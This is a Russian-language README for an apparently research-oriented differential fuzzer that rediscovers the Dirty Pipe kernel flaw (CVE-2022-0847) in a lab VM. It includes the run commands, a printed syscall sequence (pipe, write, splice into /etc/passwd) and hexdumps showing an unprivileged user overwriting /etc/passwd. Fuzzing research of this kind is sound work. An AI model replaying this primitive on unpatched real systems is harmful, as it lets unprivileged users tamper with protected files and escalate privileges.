
Очень грубый PoC для обнаружения/воспроизведения CVE-2022-0847 (dirty pipe) через случайную генерацию системных вызовов и дифференциальное фаззинг против модели.
Наивный детектор и репродуктор CVE-2022-0847 (грязная труба). Использует простой генератор последовательностей системных вызовов / программ из целенаправленно ограниченного набора строительных блоков / входных значений (только генерация, без продвинутого фаззинга; без мутаций; без наведения на покрытие; без сокращения / минимизации) и обнаруживает некорректное поведение, вдохновлённое проверкой на основе свойств с состояниями, путём сравнения возвращаемых значений каждого действия на модели и реальном ядре (дифференциальный фаззинг по модели).
В качестве дисклеймера: код содержит много магических чисел / хаков / встроенных значений в строительных блоках, чтобы иметь возможность сгенерировать минимальный PoC, вызывающий уязвимость. Поэтому он не является действительно (только наполовину) репрезентативным для реалистичной генерации правильной последовательности системных вызовов с правильными параметрами. Неуправляемая генерация по всем параметрам через большое возможное пространство состояний, вероятно, заняла бы слишком много времени.
Я попытался пометить все места, где значение или выбор действий напрямую обусловлены предполагаемым знанием о самом PoC — и которые поэтому должны были бы быть случайно найдены для полностью реалистичного PoC — строкой «MAGIC VALUE».
Это следует рассматривать как очень грубую демонстрацию концепции.
# Kernel has been built like described in build-kernel
# and placed together with the debian trixie file system image in
# ~/Downloads/build-linux
# Create new unprivileged user.
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no root@localhost "useradd -m -s /bin/bash user ; mkdir ~user/.ssh/ ; cp ~/.ssh/authorized_keys ~user/.ssh/ ; chown -R user:user ~user"
# Build reproducer and copy it
cd reproducer/
cargo build
scp -i ~/Downloads/build-linux/trixie.id_rsa -P 10021 -o StrictHostKeyChecking=no target/x86_64-unknown-linux-musl/debug/reproducer-poc-CVE-2022-0847 user@localhost:
# Check system state before
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
# Run reproducer
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
# Check system state after
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
Вывод:
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000 72 6f 6f 74 3a 3a 30 3a 30 3a 72 6f 6f 74 3a 2f |root::0:0:root:/|
00000010 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 |root:/bin/bash.d|
00000020 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d |aemon:x:1:1:daem|
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
Running with PRNG seed 0x000000c835dace34
thread 'main' (416) panicked at src/main.rs:50:9:
Found bug: fake_res ReadAll(Buf("[72, 6f, 6f, 74, 3a, 3a, 30, 3a]")) != ReadAll(Buf("[72, 00, 00, 00, 00, 3a, 30, 3a]")) real_res
Model:
- [OpenFile { file: Path(["", "etc", "passwd"]), pos: 8 }]
- [PipeFd { buf: [0], capacity: 65536 }]
- Env([PipeFdR(Var(0)), PipeFdW(Var(0)), File(Var(0))])
Env: Env([Fd(160), Fd(161), Fd(162)])
Program: Pgm([Pipe, WriteAll(V(1), Buf("[00, 00, 00, 00]")), Open(Path(["", "etc", "passwd"]), O_RDONLY), SpliceAll(V(2), V(1), U64(1)), WriteAll(V(1), Buf("[00, 00, 00, 00]")), ReadAll(V(0), U64(8)), ReadAll(V(2), U64(8))])
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
$ # note that this poc is found practically instantly
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000 72 00 00 00 00 3a 30 3a 30 3a 72 6f 6f 74 3a 2f |r....:0:0:root:/|
00000010 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 |root:/bin/bash.d|
00000020 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d |aemon:x:1:1:daem|
Обратите внимание, что этот PoC немного отличается от того, что в build-kernel-and-minimal-poc, поскольку порядок системных вызовов изменён таким образом, который фактически не влияет на ошибку.
Это показывает, что пошаговое выполнение команд в модели и реальной тестируемой системе также корректно определяет эту ситуацию.